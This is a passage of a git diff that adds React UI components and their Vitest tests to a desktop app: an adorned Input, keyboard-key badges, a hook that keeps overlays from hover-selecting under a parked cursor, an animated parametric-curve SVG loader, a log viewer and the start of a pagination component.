+  it('renders a trailing suffix inside the group', () => {
+    const { getByText } = render(<Input aria-label="rate" suffix="%" />)
+    const suffix = getByText('%')
+
+    expect(suffix.closest('[data-slot="input-group"]')).not.toBeNull()
+  })
+
+  it('forwards value/onChange through the adorned field', () => {
+    const onChange = vi.fn()
+    const { getByRole } = render(<Input aria-label="amount" onChange={onChange} prefix="$" value="" />)
+
+    fireEvent.change(getByRole('textbox'), { target: { value: '100' } })
+    expect(onChange).toHaveBeenCalledTimes(1)
+  })
+
+  it('dims the group and disables the field when disabled', () => {
+    const { getByRole } = render(<Input aria-label="amount" disabled prefix="$" />)
+    const el = getByRole('textbox') as HTMLInputElement
+    const group = el.closest('[data-slot="input-group"]')
+
+    expect(el.disabled).toBe(true)
+    expect(group?.className).toContain('opacity-50')
+  })
+
+  it('lets containerClassName override the wrapper width', () => {
+    const { getByRole } = render(<Input aria-label="amount" containerClassName="w-20" prefix="$" />)
+    const group = getByRole('textbox').closest('[data-slot="input-group"]')
+
+    // twMerge resolves the control's default w-full down to the caller's width.
+    expect(group?.className).toContain('w-20')
+    expect(group?.className).not.toContain('w-full')
+  })
+})
diff --git a/ui-desktop/src/components/ui/input.tsx b/ui-desktop/src/components/ui/input.tsx
new file mode 100644
index 000000000..9789cf068
--- /dev/null
+++ b/ui-desktop/src/components/ui/input.tsx
@@ -0,0 +1,73 @@
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+import { type ControlVariantProps, controlVariants } from './control'
+
+// `prefix`/`suffix` are DOM string attributes on the native element; we shadow
+// them with ReactNode adornments, so they're omitted from the base props.
+type InputProps = Omit<React.ComponentProps<'input'>, 'size' | 'prefix' | 'suffix'> &
+  ControlVariantProps & {
+    /** Leading adornment rendered inside the field (e.g. a `$` for money). */
+    prefix?: React.ReactNode
+    /** Trailing adornment rendered inside the field (e.g. a unit label). */
+    suffix?: React.ReactNode
+    /** Applied to the wrapper when an adornment promotes the field to a group. */
+    containerClassName?: string
+  }
+
+function Input({ className, containerClassName, prefix, suffix, size, type, ...props }: InputProps) {
+  const grouped = prefix != null || suffix != null
+
+  const field = (
+    <input
+      // Off by default for every consumer — these are code/config/search fields,
+      // not prose. Callers can re-enable per-instance by passing the prop.
+      autoCapitalize="off"
+      autoComplete="off"
+      autoCorrect="off"
+      className={cn(
+        // When adorned, the wrapper owns the chrome (border/background/focus
+        // glow) and the input goes transparent so the whole thing reads as one
+        // box; otherwise the input carries the chrome itself.
+        grouped
+          ? 'min-w-0 flex-1 border-0 bg-transparent p-0 text-xs leading-4 text-foreground outline-none placeholder:text-muted-foreground'
+          : controlVariants({ size }),
+        'selection:bg-primary selection:text-primary-foreground file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-xs file:font-medium file:text-foreground',
+        className
+      )}
+      data-slot="input"
+      spellCheck={false}
+      type={type}
+      {...props}
+    />
+  )
+
+  if (!grouped) {
+    return field
+  }
+
+  return (
+    <div
+      className={cn(
+        // Same control chrome/sizing as a bare input; `.desktop-input-chrome`
+        // lights on `:focus-within` (styles.css) since the div never focuses.
+        controlVariants({ size }),
+        'inline-flex items-center gap-1',
+        props.disabled && 'cursor-not-allowed opacity-50',
+        containerClassName
+      )}
+      data-slot="input-group"
+    >
+      {prefix != null && (
+        <span className="pointer-events-none shrink-0 select-none text-muted-foreground">{prefix}</span>
+      )}
+      {field}
+      {suffix != null && (
+        <span className="pointer-events-none shrink-0 select-none text-muted-foreground">{suffix}</span>
+      )}
+    </div>
+  )
+}
+
+export { Input }
diff --git a/ui-desktop/src/components/ui/kbd.tsx b/ui-desktop/src/components/ui/kbd.tsx
new file mode 100644
index 000000000..0d4b5df31
--- /dev/null
+++ b/ui-desktop/src/components/ui/kbd.tsx
@@ -0,0 +1,108 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+import * as React from 'react'
+
+import { comboTokens } from '@/lib/keybinds/combo'
+import { cn } from '@/lib/utils'
+
+const COMPACT_KEY = /^[\p{L}\p{N}⌘⌥⇧⌃↵⇥⌫↑↓←→@/?]$/u
+
+const kbdSurface = [
+  'border-[color-mix(in_srgb,var(--ui-stroke-secondary)_75%,transparent)]',
+  'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_94%,var(--dt-foreground)_6%)]',
+  'text-[color-mix(in_srgb,var(--dt-foreground)_58%,transparent)]',
+  'shadow-[0_1px_0_0_color-mix(in_srgb,var(--ui-stroke-tertiary)_85%,transparent),0_1px_2px_0_color-mix(in_srgb,var(--dt-foreground)_7%,transparent)]'
+]
+
+const kbdVariants = cva(
+  'inline-flex shrink-0 items-center justify-center border [font-family:var(--dt-font-kbd)] font-normal leading-none select-none',
+  {
+    variants: {
+      variant: {
+        default: kbdSurface,
+        ghost: [
+          ...kbdSurface,
+          'text-[color-mix(in_srgb,var(--dt-foreground)_38%,transparent)]',
+          'bg-[color-mix(in_srgb,var(--ui-bg-elevated)_72%,var(--dt-foreground)_3%)]',
+          'border-[color-mix(in_srgb,var(--ui-stroke-tertiary)_80%,transparent)]'
+        ],
+        capturing: [
+          'border-[color-mix(in_srgb,var(--theme-primary)_50%,var(--ui-stroke-secondary))]',
+          'bg-[color-mix(in_srgb,var(--theme-primary)_10%,var(--ui-bg-elevated))]',
+          'text-[color-mix(in_srgb,var(--theme-primary)_88%,transparent)]',
+          'shadow-none'
+        ],
+        inverted: [
+          'border-[color-mix(in_srgb,currentColor_22%,transparent)]',
+          'bg-[color-mix(in_srgb,currentColor_12%,transparent)]',
+          'text-[color-mix(in_srgb,currentColor_88%,transparent)]',
+          'shadow-[0_1px_0_0_color-mix(in_srgb,currentColor_18%,transparent)]'
+        ]
+      },
+      size: {
+        sm: 'rounded-[0.2rem] text-[0.625rem]',
+        md: 'rounded-[0.25rem] text-[0.6875rem]'
+      }
+    },
+    defaultVariants: {
+      variant: 'default',
+      size: 'md'
+    }
+  }
+)
+
+function kbdShapeClass(label: string, size: 'sm' | 'md' | null | undefined): string {
+  const compact = COMPACT_KEY.test(label)
+
+  if (size === 'sm') {
+    return compact ? 'size-[1.125rem] px-0' : 'h-[1.125rem] min-w-[1.125rem] px-1'
+  }
+
+  return compact ? 'size-[1.375rem] px-0' : 'h-[1.375rem] min-w-[1.375rem] px-1.5'
+}
+
+interface KbdProps extends React.ComponentProps<'kbd'>, VariantProps<typeof kbdVariants> {}
+
+function Kbd({ children, className, size, variant, ...props }: KbdProps) {
+  const label = typeof children === 'string' ? children : ''
+
+  return (
+    <kbd
+      className={cn(kbdVariants({ size, variant }), kbdShapeClass(label, size), className)}
+      data-slot="kbd"
+      {...props}
+    >
+      {children}
+    </kbd>
+  )
+}
+
+interface KbdGroupProps extends Omit<React.ComponentProps<'span'>, 'children'>, VariantProps<typeof kbdVariants> {
+  keys: string[]
+}
+
+function KbdGroup({ className, keys, size, variant, ...props }: KbdGroupProps) {
+  return (
+    <span
+      aria-label={keys.join(' ')}
+      className={cn('inline-flex shrink-0 items-center gap-1', className)}
+      data-slot="kbd-group"
+      {...props}
+    >
+      {keys.map((key, index) => (
+        <Kbd key={`${key}-${index}`} size={size} variant={variant}>
+          {key}
+        </Kbd>
+      ))}
+    </span>
+  )
+}
+
+interface KbdComboProps extends Omit<KbdGroupProps, 'keys'> {
+  combo: string
+}
+
+function KbdCombo({ combo, ...props }: KbdComboProps) {
+  return <KbdGroup keys={comboTokens(combo)} {...props} />
+}
+
+export { Kbd, KbdCombo, KbdGroup, kbdVariants }
diff --git a/ui-desktop/src/components/ui/keyboard-first.test.ts b/ui-desktop/src/components/ui/keyboard-first.test.ts
new file mode 100644
index 000000000..326bdbf91
--- /dev/null
+++ b/ui-desktop/src/components/ui/keyboard-first.test.ts
@@ -0,0 +1,69 @@
+import { act, renderHook } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { onReleaseTypingFocus, releaseTypingFocus, usePointerQuiet } from './keyboard-first'
+
+const move = () => act(() => void window.dispatchEvent(new MouseEvent('mousemove', { bubbles: true })))
+const scroll = () => act(() => void window.dispatchEvent(new WheelEvent('wheel', { bubbles: true })))
+
+afterEach(() => {
+  vi.restoreAllMocks()
+})
+
+describe('usePointerQuiet', () => {
+  it('starts quiet so a list opening under a parked cursor cannot hover-select', () => {
+    const { result } = renderHook(() => usePointerQuiet())
+
+    expect(result.current).toBe(true)
+  })
+
+  it('wakes on real pointer movement and stays awake', () => {
+    const { result } = renderHook(() => usePointerQuiet())
+
+    move()
+    expect(result.current).toBe(false)
+
+    // A later re-render must not re-arm the guard mid-interaction.
+    move()
+    expect(result.current).toBe(false)
+  })
+
+  it('treats a scroll as a hand on the mouse', () => {
+    const { result } = renderHook(() => usePointerQuiet())
+
+    scroll()
+    expect(result.current).toBe(false)
+  })
+
+  it('re-arms for the next overlay (each open mounts a fresh guard)', () => {
+    const first = renderHook(() => usePointerQuiet())
+
+    move()
+    expect(first.result.current).toBe(false)
+    first.unmount()
+
+    expect(renderHook(() => usePointerQuiet()).result.current).toBe(true)
+  })
+
+  it('drops its listeners on unmount', () => {
+    const remove = vi.spyOn(window, 'removeEventListener')
+
+    renderHook(() => usePointerQuiet()).unmount()
+
+    expect(remove.mock.calls.map(([type]) => type)).toEqual(expect.arrayContaining(['mousemove', 'wheel']))
+  })
+})
+
+describe('releaseTypingFocus', () => {
+  it('notifies subscribers, and stops once unsubscribed', () => {
+    const handler = vi.fn()
+    const off = onReleaseTypingFocus(handler)
+
+    releaseTypingFocus()
+    expect(handler).toHaveBeenCalledTimes(1)
+
+    off()
+    releaseTypingFocus()
+    expect(handler).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/ui-desktop/src/components/ui/keyboard-first.ts b/ui-desktop/src/components/ui/keyboard-first.ts
new file mode 100644
index 000000000..5b558163b
--- /dev/null
+++ b/ui-desktop/src/components/ui/keyboard-first.ts
@@ -0,0 +1,75 @@
+import { useEffect, useState } from 'react'
+
+/**
+ * KEYBOARD-FIRST OVERLAYS — the shared contract for anything you open with a
+ * hotkey and drive from a search field: the composer model menu, the ⌘K
+ * palette, every cmdk picker.
+ *
+ * Both halves exist because a mouse that is merely PRESENT is not a mouse the
+ * user is using.
+ */
+
+const RELEASE_EVENT = 'clawcodex:release-typing-focus'
+
+/**
+ * True while the pointer must be treated as absent.
+ *
+ * A list that opens under a parked cursor, or that re-flows under one as the
+ * query filters it, fires pointerenter on whatever row happens to slide beneath
+ * — and hover-selecting menus (Radix) or hover-highlighting lists take that as
+ * intent, stealing the row the user typed toward. Nothing about that came from
+ * the user.
+ *
+ * So the pointer stays inert until it actually MOVES (or scrolls, which is also
+ * a hand on the mouse). One real movement hands hover back for the rest of the
+ * overlay's life. Spread the result as `pointer-events-none` on the list — the
+ * blunt instrument is the right one here, because it suppresses the synthetic
+ * enter events at the source rather than racing them.
+ *
+ * Mount-scoped: overlays mount when they open, so "quiet until moved" needs no
+ * knowledge of whether a hotkey or a click opened it.
+ */
+export function usePointerQuiet(): boolean {
+  const [quiet, setQuiet] = useState(true)
+
+  useEffect(() => {
+    const wake = () => setQuiet(false)
+    const options = { capture: true } as const
+
+    window.addEventListener('mousemove', wake, options)
+    window.addEventListener('wheel', wake, options)
+
+    return () => {
+      window.removeEventListener('mousemove', wake, options)
+      window.removeEventListener('wheel', wake, options)
+    }
+  }, [])
+
+  return quiet
+}
+
+/**
+ * Hand the keyboard back to wherever the user was typing.
+ *
+ * Dismissing a keyboard-driven overlay ends its claim on focus. Radix returns
+ * focus to the TRIGGER on close, which for the model menu is a toolbar button —
+ * so committing with Enter left the next keystroke going nowhere instead of
+ * into the message you were about to write. Call this on close; the composer
+ * bus (subscribed once in `useKeybinds`) does the focusing, so this primitive
+ * stays ignorant of what "typing" means on any given surface.
+ */
+export function releaseTypingFocus(): void {
+  if (typeof window !== 'undefined') {
+    window.dispatchEvent(new CustomEvent(RELEASE_EVENT))
+  }
+}
+
+export function onReleaseTypingFocus(handler: () => void): () => void {
+  if (typeof window === 'undefined') {
+    return () => undefined
+  }
+
+  window.addEventListener(RELEASE_EVENT, handler)
+
+  return () => window.removeEventListener(RELEASE_EVENT, handler)
+}
diff --git a/ui-desktop/src/components/ui/loader.tsx b/ui-desktop/src/components/ui/loader.tsx
new file mode 100644
index 000000000..985a50cf5
--- /dev/null
+++ b/ui-desktop/src/components/ui/loader.tsx
@@ -0,0 +1,558 @@
+import { type ComponentProps, useEffect, useRef } from 'react'
+
+import { cn } from '@/lib/utils'
+
+export const LOADER_TYPES = [
+  'original-thinking',
+  'thinking-five',
+  'thinking-nine',
+  'rose-orbit',
+  'rose-curve',
+  'rose-two',
+  'rose-three',
+  'rose-four',
+  'lissajous-drift',
+  'lemniscate-bloom',
+  'hypotrochoid-loop',
+  'three-petal-spiral',
+  'four-petal-spiral',
+  'five-petal-spiral',
+  'six-petal-spiral',
+  'butterfly-phase',
+  'cardioid-glow',
+  'cardioid-heart',
+  'heart-wave',
+  'spiral-search',
+  'fourier-flow'
+] as const
+
+export type LoaderType = (typeof LOADER_TYPES)[number]
+
+interface Point {
+  x: number
+  y: number
+}
+
+interface LoaderCurve {
+  durationMs: number
+  name: string
+  particleCount: number
+  point: (progress: number, detailScale: number) => Point
+  pulseDurationMs: number
+  rotate: boolean
+  rotationDurationMs: number
+  strokeWidth: number
+  trailSpan: number
+}
+
+interface LoaderProps extends Omit<ComponentProps<'div'>, 'children'> {
+  label?: string
+  pathSteps?: number
+  strokeScale?: number
+  type?: LoaderType
+}
+
+interface BaseCurveOptions extends Pick<
+  LoaderCurve,
+  'durationMs' | 'particleCount' | 'pulseDurationMs' | 'strokeWidth' | 'trailSpan'
+> {
+  point?: LoaderCurve['point']
+  rotate?: boolean
+  rotationDurationMs?: number
+}
+
+const TWO_PI = Math.PI * 2
+
+const LOADER_CURVES: Record<LoaderType, LoaderCurve> = {
+  'original-thinking': thinkingCurve('Original Thinking', 7, {
+    durationMs: 4600,
+    particleCount: 64,
+    pulseDurationMs: 4200,
+    rotationDurationMs: 28000,
+    trailSpan: 0.38
+  }),
+  'thinking-five': thinkingCurve('Thinking Five', 5, {
+    durationMs: 4600,
+    particleCount: 62,
+    pulseDurationMs: 4200,
+    rotationDurationMs: 28000,
+    trailSpan: 0.38
+  }),
+  'thinking-nine': thinkingCurve('Thinking Nine', 9, {
+    durationMs: 4700,
+    particleCount: 68,
+    pulseDurationMs: 4200,
+    rotationDurationMs: 30000,
+    trailSpan: 0.39
+  }),
+  'rose-orbit': {
+    ...baseCurve('Rose Orbit', {
+      durationMs: 5200,
+      particleCount: 72,
+      pulseDurationMs: 4600,
+      rotate: true,
+      rotationDurationMs: 28000,
+      strokeWidth: 5.2,
+      trailSpan: 0.42
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const r = 7 - 2.7 * detailScale * Math.cos(7 * t)
+
+      return {
+        x: 50 + Math.cos(t) * r * 3.9,
+        y: 50 + Math.sin(t) * r * 3.9
+      }
+    }
+  },
+  'rose-curve': roseCurve('Rose Curve', 5, {
+    durationMs: 5400,
+    particleCount: 78,
+    pulseDurationMs: 4600,
+    strokeWidth: 4.5,
+    trailSpan: 0.32
+  }),
+  'rose-two': roseCurve('Rose Two', 2, {
+    durationMs: 5200,
+    particleCount: 74,
+    pulseDurationMs: 4300,
+    strokeWidth: 4.6,
+    trailSpan: 0.3
+  }),
+  'rose-three': roseCurve('Rose Three', 3, {
+    durationMs: 5300,
+    particleCount: 76,
+    pulseDurationMs: 4400,
+    strokeWidth: 4.6,
+    trailSpan: 0.31
+  }),
+  'rose-four': roseCurve('Rose Four', 4, {
+    durationMs: 5400,
+    particleCount: 78,
+    pulseDurationMs: 4500,
+    strokeWidth: 4.6,
+    trailSpan: 0.32
+  }),
+  'lissajous-drift': {
+    ...baseCurve('Lissajous Drift', {
+      durationMs: 6000,
+      particleCount: 68,
+      pulseDurationMs: 5400,
+      strokeWidth: 4.7,
+      trailSpan: 0.34
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const amp = 24 + detailScale * 6
+
+      return {
+        x: 50 + Math.sin(3 * t + 1.57) * amp,
+        y: 50 + Math.sin(4 * t) * (amp * 0.92)
+      }
+    }
+  },
+  'lemniscate-bloom': {
+    ...baseCurve('Lemniscate Bloom', {
+      durationMs: 5600,
+      particleCount: 70,
+      pulseDurationMs: 5000,
+      rotationDurationMs: 34000,
+      strokeWidth: 4.8,
+      trailSpan: 0.4
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const scale = 20 + detailScale * 7
+      const denom = 1 + Math.sin(t) ** 2
+
+      return {
+        x: 50 + (scale * Math.cos(t)) / denom,
+        y: 50 + (scale * Math.sin(t) * Math.cos(t)) / denom
+      }
+    }
+  },
+  'hypotrochoid-loop': {
+    ...baseCurve('Hypotrochoid Loop', {
+      durationMs: 7600,
+      particleCount: 82,
+      pulseDurationMs: 6200,
+      rotationDurationMs: 42000,
+      strokeWidth: 4.6,
+      trailSpan: 0.46
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const r = 2.7 + detailScale * 0.45
+      const d = 4.8 + detailScale * 1.2
+      const x = (8.2 - r) * Math.cos(t) + d * Math.cos(((8.2 - r) / r) * t)
+      const y = (8.2 - r) * Math.sin(t) - d * Math.sin(((8.2 - r) / r) * t)
+
+      return {
+        x: 50 + x * 3.05,
+        y: 50 + y * 3.05
+      }
+    }
+  },
+  'three-petal-spiral': spiralPetalCurve('Three-Petal Spiral', 3, 82),
+  'four-petal-spiral': spiralPetalCurve('Four-Petal Spiral', 4, 84),
+  'five-petal-spiral': spiralPetalCurve('Five-Petal Spiral', 5, 85),
+  'six-petal-spiral': spiralPetalCurve('Six-Petal Spiral', 6, 86),
+  'butterfly-phase': {
+    ...baseCurve('Butterfly Phase', {
+      durationMs: 9000,
+      particleCount: 88,
+      pulseDurationMs: 7000,
+      rotationDurationMs: 50000,
+      strokeWidth: 4.4,
+      trailSpan: 0.32
+    }),
+    point(progress, detailScale) {
+      const t = progress * Math.PI * 12
+
+      const butterfly = Math.exp(Math.cos(t)) - 2 * Math.cos(4 * t) - Math.sin(t / 12) ** 5
+
+      const scale = 4.6 + detailScale * 0.45
+
+      return {
+        x: 50 + Math.sin(t) * butterfly * scale,
+        y: 50 + Math.cos(t) * butterfly * scale
+      }
+    }
+  },
+  'cardioid-glow': cardioidCurve('Cardioid Glow', {
+    a: 8.4,
+    particleCount: 72,
+    pointFor(t, r, scale) {
+      return {
+        x: 50 + Math.cos(t) * r * scale,
+        y: 50 + Math.sin(t) * r * scale
+      }
+    },
+    rFor(t, a) {
+      return a * (1 - Math.cos(t))
+    }
+  }),
+  'cardioid-heart': cardioidCurve('Cardioid Heart', {
+    a: 8.8,
+    particleCount: 74,
+    pointFor(t, r, scale) {
+      const baseX = Math.cos(t) * r
+      const baseY = Math.sin(t) * r
+
+      return {
+        x: 50 - baseY * scale,
+        y: 50 - baseX * scale
+      }
+    },
+    rFor(t, a) {
+      return a * (1 + Math.cos(t))
+    }
+  }),
+  'heart-wave': {
+    ...baseCurve('Heart Wave', {
+      durationMs: 8400,
+      particleCount: 104,
+      pulseDurationMs: 5600,
+      rotationDurationMs: 22000,
+      strokeWidth: 3.9,
+      trailSpan: 0.18
+    }),
+    point(progress, detailScale) {
+      const root = 3.3
+      const xLimit = Math.sqrt(root)
+      const x = -xLimit + progress * xLimit * 2
+      const safeRoot = Math.max(0, root - x * x)
+      const wave = 0.9 * Math.sqrt(safeRoot) * Math.sin(6.4 * Math.PI * x)
+      const curve = Math.abs(x) ** (2 / 3)
+      const y = curve + wave
+
+      return {
+        x: 50 + x * 23.2,
+        y: 18 + (1.75 - y) * (24.5 + detailScale * 1.5)
+      }
+    }
+  },
+  'spiral-search': {
+    ...baseCurve('Spiral Search', {
+      durationMs: 7800,
+      particleCount: 86,
+      pulseDurationMs: 6800,
+      rotationDurationMs: 44000,
+      strokeWidth: 4.3,
+      trailSpan: 0.28
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const angle = t * 4
+      const radius = 8 + (1 - Math.cos(t)) * (8.5 + detailScale * 2.4)
+
+      return {
+        x: 50 + Math.cos(angle) * radius,
+        y: 50 + Math.sin(angle) * radius
+      }
+    }
+  },
+  'fourier-flow': {
+    ...baseCurve('Fourier Flow', {
+      durationMs: 2200,
+      particleCount: 92,
+      pulseDurationMs: 2000,
+      rotationDurationMs: 15000,
+      strokeWidth: 4.2,
+      trailSpan: 0.31
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const mix = 1 + detailScale * 0.16
+      const x = 17 * Math.cos(t) + 7.5 * Math.cos(3 * t + 0.6 * mix) + 3.2 * Math.sin(5 * t - 0.4)
+      const y = 15 * Math.sin(t) + 8.2 * Math.sin(2 * t + 0.25) - 4.2 * Math.cos(4 * t - 0.5 * mix)
+
+      return {
+        x: 50 + x,
+        y: 50 + y
+      }
+    }
+  }
+}
+
+export function Loader({
+  className,
+  label = 'Loading',
+  pathSteps = 240,
+  role = 'status',
+  strokeScale = 1,
+  type = 'rose-curve',
+  ...props
+}: LoaderProps) {
+  const config = LOADER_CURVES[type]
+  const groupRef = useRef<SVGGElement | null>(null)
+  const particleRefs = useRef<Array<SVGCircleElement | null>>([])
+  const pathRef = useRef<SVGPathElement | null>(null)
+
+  useEffect(() => {
+    let animationFrame = 0
+    const startedAt = performance.now()
+    const phaseOffset = Math.random()
+    particleRefs.current.length = config.particleCount
+
+    const render = (now: number) => {
+      const time = now - startedAt
+      const progress = ((time + phaseOffset * config.durationMs) % config.durationMs) / config.durationMs
+      const detailScale = detailScaleFor(time, config, phaseOffset)
+      const rotation = rotationFor(time, config, phaseOffset)
+
+      groupRef.current?.setAttribute('transform', `rotate(${rotation} 50 50)`)
+      pathRef.current?.setAttribute('d', buildPath(config, detailScale, pathSteps))
+
+      particleRefs.current.forEach((node, index) => {
+        if (!node) {
+          return
+        }
+
+        const particle = particleFor(config, index, progress, detailScale, strokeScale)
+        node.setAttribute('cx', particle.x.toFixed(2))
+        node.setAttribute('cy', particle.y.toFixed(2))
+        node.setAttribute('r', particle.radius.toFixed(2))
+        node.setAttribute('opacity', particle.opacity.toFixed(3))
+      })
+
+      animationFrame = window.requestAnimationFrame(render)
+    }
+
+    render(performance.now())
+
+    return () => window.cancelAnimationFrame(animationFrame)
+  }, [config, pathSteps, strokeScale])
+
+  return (
+    <div
+      {...props}
+      aria-label={props['aria-label'] ?? label}
+      className={cn('inline-grid size-10 place-items-center text-primary', className)}
+      role={role}
+    >
+      <svg aria-hidden="true" className="size-full overflow-visible" fill="none" viewBox="0 0 100 100">
+        <g ref={groupRef}>
+          <path
+            opacity="0.1"
+            ref={pathRef}
+            stroke="currentColor"
+            strokeLinecap="round"
+            strokeLinejoin="round"
+            strokeWidth={config.strokeWidth * strokeScale}
+          />
+          {Array.from({ length: config.particleCount }, (_, index) => (
+            <circle
+              fill="currentColor"
+              key={`${type}-${index}`}
+              ref={node => {
+                particleRefs.current[index] = node
+              }}
+            />
+          ))}
+        </g>
+      </svg>
+    </div>
+  )
+}
+
+function baseCurve(name: string, options: BaseCurveOptions): LoaderCurve {
+  return {
+    durationMs: options.durationMs,
+    name,
+    particleCount: options.particleCount,
+    point: options.point ?? (() => ({ x: 50, y: 50 })),
+    pulseDurationMs: options.pulseDurationMs,
+    rotate: options.rotate ?? false,
+    rotationDurationMs: options.rotationDurationMs ?? 36000,
+    strokeWidth: options.strokeWidth,
+    trailSpan: options.trailSpan
+  }
+}
+
+function thinkingCurve(
+  name: string,
+  petalCount: number,
+  options: Pick<LoaderCurve, 'durationMs' | 'particleCount' | 'pulseDurationMs' | 'rotationDurationMs' | 'trailSpan'>
+): LoaderCurve {
+  return {
+    ...baseCurve(name, {
+      ...options,
+      rotate: true,
+      strokeWidth: 5.5
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const x = 7 * Math.cos(t) - 3 * detailScale * Math.cos(petalCount * t)
+      const y = 7 * Math.sin(t) - 3 * detailScale * Math.sin(petalCount * t)
+
+      return {
+        x: 50 + x * 3.9,
+        y: 50 + y * 3.9
+      }
+    }
+  }
+}
+
+function roseCurve(
+  name: string,
+  k: number,
+  options: Pick<LoaderCurve, 'durationMs' | 'particleCount' | 'pulseDurationMs' | 'strokeWidth' | 'trailSpan'>
+): LoaderCurve {
+  return {
+    ...baseCurve(name, {
+      ...options,
+      rotate: true,
+      rotationDurationMs: 28000
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const a = 9.2 + detailScale * 0.6
+      const r = a * (0.72 + detailScale * 0.28) * Math.cos(k * t)
+
+      return {
+        x: 50 + Math.cos(t) * r * 3.25,
+        y: 50 + Math.sin(t) * r * 3.25
+      }
+    }
+  }
+}
+
+function spiralPetalCurve(name: string, spiralR: number, particleCount: number): LoaderCurve {
+  return {
+    ...baseCurve(name, {
+      durationMs: 4600,
+      particleCount,
+      pulseDurationMs: 4200,
+      rotate: true,
+      rotationDurationMs: 28000,
+      strokeWidth: 4.4,
+      trailSpan: 0.34
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const spiralr = 1
+      const d = 3 + detailScale * 0.25
+      const baseX = (spiralR - spiralr) * Math.cos(t) + d * Math.cos(((spiralR - spiralr) / spiralr) * t)
+      const baseY = (spiralR - spiralr) * Math.sin(t) - d * Math.sin(((spiralR - spiralr) / spiralr) * t)
+      const scale = 2.2 + detailScale * 0.45
+
+      return {
+        x: 50 + baseX * scale,
+        y: 50 + baseY * scale
+      }
+    }
+  }
+}
+
+function cardioidCurve(
+  name: string,
+  options: {
+    a: number
+    particleCount: number
+    pointFor: (t: number, r: number, scale: number) => Point
+    rFor: (t: number, a: number) => number
+  }
+): LoaderCurve {
+  return {
+    ...baseCurve(name, {
+      durationMs: 6200,
+      particleCount: options.particleCount,
+      pulseDurationMs: 5200,
+      rotationDurationMs: 36000,
+      strokeWidth: 4.9,
+      trailSpan: 0.36
+    }),
+    point(progress, detailScale) {
+      const t = progress * TWO_PI
+      const a = options.a + detailScale * 0.8
+      const r = options.rFor(t, a)
+
+      return options.pointFor(t, r, 2.15)
+    }
+  }
+}
+
+function buildPath(config: LoaderCurve, detailScale: number, steps: number) {
+  return Array.from({ length: steps + 1 }, (_, index) => {
+    const point = config.point(index / steps, detailScale)
+
+    return `${index === 0 ? 'M' : 'L'} ${point.x.toFixed(2)} ${point.y.toFixed(2)}`
+  }).join(' ')
+}
+
+function detailScaleFor(time: number, config: LoaderCurve, phaseOffset: number) {
+  const pulseProgress =
+    ((time + phaseOffset * config.pulseDurationMs) % config.pulseDurationMs) / config.pulseDurationMs
+
+  const pulseAngle = pulseProgress * TWO_PI
+
+  return 0.52 + ((Math.sin(pulseAngle + 0.55) + 1) / 2) * 0.48
+}
+
+function normalizeProgress(progress: number) {
+  return ((progress % 1) + 1) % 1
+}
+
+function particleFor(config: LoaderCurve, index: number, progress: number, detailScale: number, strokeScale: number) {
+  const tailOffset = index / (config.particleCount - 1)
+  const point = config.point(normalizeProgress(progress - tailOffset * config.trailSpan), detailScale)
+  const fade = (1 - tailOffset) ** 0.56
+
+  return {
+    opacity: 0.04 + fade * 0.96,
+    radius: (0.9 + fade * 2.7) * strokeScale,
+    x: point.x,
+    y: point.y
+  }
+}
+
+function rotationFor(time: number, config: LoaderCurve, phaseOffset: number) {
+  if (!config.rotate) {
+    return 0
+  }
+
+  return (
+    -(((time + phaseOffset * config.rotationDurationMs) % config.rotationDurationMs) / config.rotationDurationMs) * 360
+  )
+}
diff --git a/ui-desktop/src/components/ui/log-view.tsx b/ui-desktop/src/components/ui/log-view.tsx
new file mode 100644
index 000000000..999b0ddf3
--- /dev/null
+++ b/ui-desktop/src/components/ui/log-view.tsx
@@ -0,0 +1,19 @@
+import type { ComponentProps } from 'react'
+
+import { cn } from '@/lib/utils'
+
+// Shared raw-log viewer: no bg, hairline border, tight padding, small mono.
+// One style everywhere we surface logs. Pass a max-h-* via className.
+// Selectable by default — logs exist to be read and copied.
+export function LogView({ className, ...props }: ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'overflow-auto rounded-lg border border-(--ui-stroke-tertiary) px-2.5 py-1.5 font-mono text-[0.6875rem] leading-[1.5] whitespace-pre-wrap break-words text-(--ui-text-tertiary)',
+        className
+      )}
+      data-selectable-text="true"
+      {...props}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/ui/pagination.tsx b/ui-desktop/src/components/ui/pagination.tsx
new file mode 100644
index 000000000..b635595fc
--- /dev/null
+++ b/ui-desktop/src/components/ui/pagination.tsx
@@ -0,0 +1,114 @@
+import * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+function Pagination({ className, ...props }: React.ComponentProps<'nav'>) {
+  const { t } = useI18n()
+
+  return (
+    <nav
+      aria-label={t.ui.pagination.label}
+      className={cn('mx-auto flex w-full justify-center', className)}
+      data-slot="pagination"
+      {...props}
+    />
+  )
+}
+
+function PaginationContent({ className, ...props }: React.ComponentProps<'ul'>) {
+  return (
+    <ul className={cn('flex h-5 flex-row items-center gap-0.5', className)} data-slot="pagination-content" {...props} />
+  )
+}
+
+function PaginationItem({ className, ...props }: React.ComponentProps<'li'>) {
+  return <li className={cn('flex h-5 items-center', className)} data-slot="pagination-item" {...props} />
+}
+
+interface PaginationButtonProps extends React.ComponentProps<'button'> {
+  isActive?: boolean
+}
+
+function PaginationButton({ className, isActive, ...props }: PaginationButtonProps) {
+  return (
+    <button
+      aria-current={isActive ? 'page' : undefined}
+      className={cn(
